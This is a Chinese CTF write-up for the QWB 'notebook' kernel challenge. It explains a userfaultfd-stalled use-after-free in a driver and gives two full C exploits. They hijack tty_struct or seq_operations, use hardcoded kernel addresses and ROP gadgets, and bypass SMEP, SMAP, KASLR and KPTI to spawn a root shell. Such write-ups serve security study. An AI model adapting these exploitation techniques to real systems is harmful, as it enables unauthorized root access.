程序分析
老规矩,看下启动脚本
开启了 smep、smap、kaslr 保护,当然 kvm64 默认开启 kpti 保护
文件系统初始化脚本
#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
mount -t proc proc /proc
mount -t sysfs sysfs /sys
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifup eth0 > /dev/null 2>/dev/null
insmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
echo "Welcome to QWB!"
#sh
setsid cttyhack setuidgid 1000 sh
#setsid cttyhack setuidgid 0 sh
umount /proc
umount /sys
poweroff -d 1 -n -f
一眼看到驱动模块 netobook.ko
mynote_ioctl 函数
该函数实现了堆块的增删改的功能(果然什么都逃不过屌丝菜单题的命运bushi) 简单说一下漏洞点
在 noteedit 函数中,会使用 krealloc 函数重新申请一个堆块,所以如果我们传入的新的 size 为0 或者比原来的大,则会将原来的堆块释放掉。
但是 noteedit 函数中存在一个问题,那就是其并没有直接将 krealloc 返回的堆块指针赋值给 notebook[idx]->ptr ,而是先把它赋值给了 v7,然后再用 copy_from_user 复制数据,最后再经过一些检查再将 v7 的值赋值到 notebook 中。当然这里最大的问题是上的是读锁,这就意味着其他拿读锁的函数可以跟这个函数并行,这也为我们后面的利用提供了可能。
mynote_read / mynote_write 函数
我们有读写堆块的能力,但是有大小限制。
漏洞利用
在 mynote_ioctl 函数中,当我们传入 newsize=0时(你也可以传入更大的值) 我们知道了一个逻辑:
1、先修改 size = newsize
2、释放原来的堆块(申请新的堆块,这里我们传入newsize=0,所以不会申请新的堆块)
3、调用 copy_from_user 复制数据
4、将新的指针赋值给 notebook[idx]->ptr
那这里很明显我们可以在第 3 步使用 userfaultfd 将其卡住,此时 notebook[idx]->ptr 还没有改变,但是其已经被释放了,所以这里就存在一个 UAF。
这里我们选择 tty_struct 去打,程序给了读写的能力,但是有 size 的检查,并且在第一步 size 已经被修改为了 newsize=0,所以这里检查过不了(有人说将newsize传一个大的值,但是这里检查的是 notebook[idx]->ptr 这个堆块的实际大小和 size 的大小关系,所以你还是通过不了检查)
那怎么办呢?
但是注意到 noteadd 函数:
其拿的是读锁,所以当 noteedit 用 userfaultfd 卡住时,其也能执行,但是这个很好的是,这个函数是先修改的 notebook[idx]->size、然后在用 copy_from_user 复制数据,然后再给 notebook[idx]->ptr 申请一个新的堆块,简而言之就是:
1、修改 notebook[idx]->size 为我们输入的 size
2、使用 copy_from_user 复制数据
3、kmalloc(size) 给 notebook[idx]->ptr
那么我们就可以利用这个函数去修复在 noteedit 中被破坏的 size,即用 userfaultfd 卡在第 2 步。
当然这里由于开启了 smap 保护,使用 tty_struct 的 ops 表也不能直接在用户空间伪造,但是题目直接给了一个 notegift 函数可以读出堆块的地址,所以直接把 ops 表伪造在一个堆块上就 ok 了。
当然如果题目没有给这个函数的话,可以考虑用 seq_operations 去打。
最后劫持 tty_struct 后直接用 work_for_cpu_fn,exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define INIT_CRED 0xffffffff8225c940
#define COMMIT_CREDS 0xffffffff810a9b40
#define WORK_FOR_CPU_FN 0xffffffff8109eb90
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
int fd;
struct note {
size_t idx;
size_t size;
char* buf;
};
void add(size_t idx, size_t size, char* buf)
{
struct note n = { .idx = idx, .size = size, .buf = buf };
ioctl(fd, 0x100, &n);
}
void dele(size_t idx)
{
struct note n = { .idx = idx };
ioctl(fd, 0x200, &n);
}
void edit(size_t idx, size_t size, char* buf)
{
struct note n = { .idx = idx, .size = size, .buf = buf };
ioctl(fd, 0x300, &n);
}
void gift(char* buf)
{
struct note n = { .buf = buf };
ioctl(fd, 0x64, &n);
}
void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");
uffdio_register.range.start = (unsigned long long)uffd_buf;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");
int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}
char buf[0x30];
void handler(void* args)
{
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
for (;;)
{
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
int res = poll(&pollfd, 1, -1);
if (res == -1) err_exit("ERROR on poll");
int n = read(uffd, &msg, sizeof(msg));
if (n == 0) err_exit("EOF on read uffd");
if (n == -1) err_exit("ERROR on read uffd");
sleep(100);
puts("userfault over");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");
uffdio_copy.src = buf;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x20;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");
}
}
sem_t sem_edit, sem_add;
void evil_edit(void* args)
{
sem_wait(&sem_edit);
info("evil_edit for construct UAF");
edit(0, 0, args);
}
void evil_add(void* args)
{
sem_wait(&sem_add);
info("evil_add for fix the size");
add(0, 0x60, args);
}
int main(int argc, char** argv, char** env)
{
bind_core(0);
size_t buf[0x300];
size_t tty_struct[0x300];
size_t fake_ops[0x100];
size_t fake_ops_addr;
char* uffd_buf;
int tty_fd;
size_t kernel_offset;
pthread_t moniter, pt_edit, pt_add;
sem_init(&sem_edit, 0, 0);
sem_init(&sem_add, 0, 0);
fd = open("/dev/notebook", O_RDWR);
add(0, 0x20, buf);
edit(0, 0x2e0, buf);
uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf, moniter, handler);
pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);
pthread_create(&pt_add, NULL, evil_add, uffd_buf);
sem_post(&sem_edit);
sleep(2);
sem_post(&sem_add);
sleep(2);
tty_fd = open("/dev/ptmx", O_RDWR);
read(fd, tty_struct, 0);
//read(fd, buf, 0);
binary_dump("tty_struct", tty_struct, 0x60);
if (*(int*)tty_struct != 0x5401) err_exit("No alloc tty_struct by UAF");
kernel_offset = 0;
if ((tty_struct[3]&0xfff) == (PTM_UNIX98_OPS&0xfff)) puts("PTM_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTM_UNIX98_OPS;
else puts("PTY_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTY_UNIX98_OPS;
hexx("kernel_offset", kernel_offset);
add(1, 0x20, buf);
edit(1, 0x100, buf);
gift(buf);
fake_ops_addr = buf[2];
binary_dump("object addr", buf, 0x20);
hexx("fake_ops_addr", fake_ops_addr);
memcpy(buf, tty_struct, 0x60);
buf[3] = fake_ops_addr;
buf[4] = COMMIT_CREDS + kernel_offset;
buf[5] = INIT_CRED + kernel_offset;
fake_ops[12] = WORK_FOR_CPU_FN + kernel_offset;
binary_dump("fake_tty_struct", buf, 0x60);
write(fd, buf, 0);
binary_dump("fake_ops", fake_ops, 0x70);
write(fd, fake_ops, 1);
ioctl(tty_fd, 233, 233);
write(fd, tty_struct, 0);
pthread_cancel(pt_edit);
pthread_cancel(pt_add);
hexx("UID", getuid());
system("/bin/sh");
return 0;
}
但是这里提权好像不是很稳定,最后 userfaultfd 卡的时间到了后,会有个 bug
希望有佬可以解释一些最后面出现的问题
当然就算题目没有给 notegitf 这个泄漏 object 地址的功能,我们也可以通过 seq_operations 直接打,exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#define SINGLE_START 0xffffffff8128c230
size_t pop_rdi = 0xffffffff81007115; // pop rdi ; ret
size_t add_rsp_xx = 0xFFFFFFFF8127CDB2l;
size_t swapgs_kpti = 0xFFFFFFFF81A00931;
size_t init_cred = 0xffffffff8225c940;
size_t commit_creds = 0xffffffff810a9b40;
size_t prepare_kernel_cred = 0xffffffff810a9ef0;
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
int fd;
struct note {
size_t idx;
size_t size;
char* buf;
};
void add(size_t idx, size_t size, char* buf)
{
struct note n = { .idx = idx, .size = size, .buf = buf };
ioctl(fd, 0x100, &n);
}
void dele(size_t idx)
{
struct note n = { .idx = idx };
ioctl(fd, 0x200, &n);
}
void edit(size_t idx, size_t size, char* buf)
{
struct note n = { .idx = idx, .size = size, .buf = buf };
ioctl(fd, 0x300, &n);
}
void gift(char* buf)
{
struct note n = { .buf = buf };
ioctl(fd, 0x64, &n);
}
void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");
uffdio_register.range.start = (unsigned long long)uffd_buf;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");
int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}
char buf[0x30];
void handler(void* args)
{
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
for (;;)
{
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
int res = poll(&pollfd, 1, -1);
if (res == -1) err_exit("ERROR on poll");
int n = read(uffd, &msg, sizeof(msg));
if (n == 0) err_exit("EOF on read uffd");
if (n == -1) err_exit("ERROR on read uffd");
sleep(10000);
puts("userfault over");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");
uffdio_copy.src = buf;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x20;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");
}
}
sem_t sem_edit, sem_add;
void evil_edit(void* args)
{
sem_wait(&sem_edit);
info("evil_edit for construct UAF");
edit(0, 0, args);
}
void evil_add(void* args)
{
sem_wait(&sem_add);
info("evil_add for fix the size");
add(0, 0x20, args);
}
int seq_fd;
int main(int argc, char** argv, char** env)
{
bind_core(0);
size_t buf[0x300];
char* uffd_buf;
size_t kernel_offset;
pthread_t moniter, pt_edit, pt_add;
sem_init(&sem_edit, 0, 0);
sem_init(&sem_add, 0, 0);
fd = open("/dev/notebook", O_RDWR);
add(0, 0x20, buf);
uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf, moniter, handler);
pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);
pthread_create(&pt_add, NULL, evil_add, uffd_buf);
sem_post(&sem_edit);
sleep(2);
sem_post(&sem_add);
sleep(2);
seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");
read(fd, buf, 0);
binary_dump("seq_operations", buf, 0x20);
kernel_offset = buf[0] - SINGLE_START;
hexx("kernel_offset", kernel_offset);
buf[0] = add_rsp_xx + kernel_offset;
hexx("seq_operations->start", buf[0]);
write(fd, buf, 0);
pop_rdi += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_kpti += kernel_offset;
asm volatile(
"mov r15, pop_rdi;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_kpti;"
"mov rbp, 0x55555555;"
"mov rbx, 0x66666666;"
"mov r11, 0x77777777;"
"mov r10, 0x88888888;"
"mov r9, 0x99999999;"
"mov r8, 0xaaaaaaaa;"
"xor rax, rax;"
"mov rcx, 0xbbbbbbbb;"
"mov rdx, 8;"
"mov rsi, buf;"
"mov rdi, seq_fd;"
"syscall;"
);
hexx("UID", getuid());
system("/bin/sh");
return 0;
}
上面两个脚本都可以成功提权: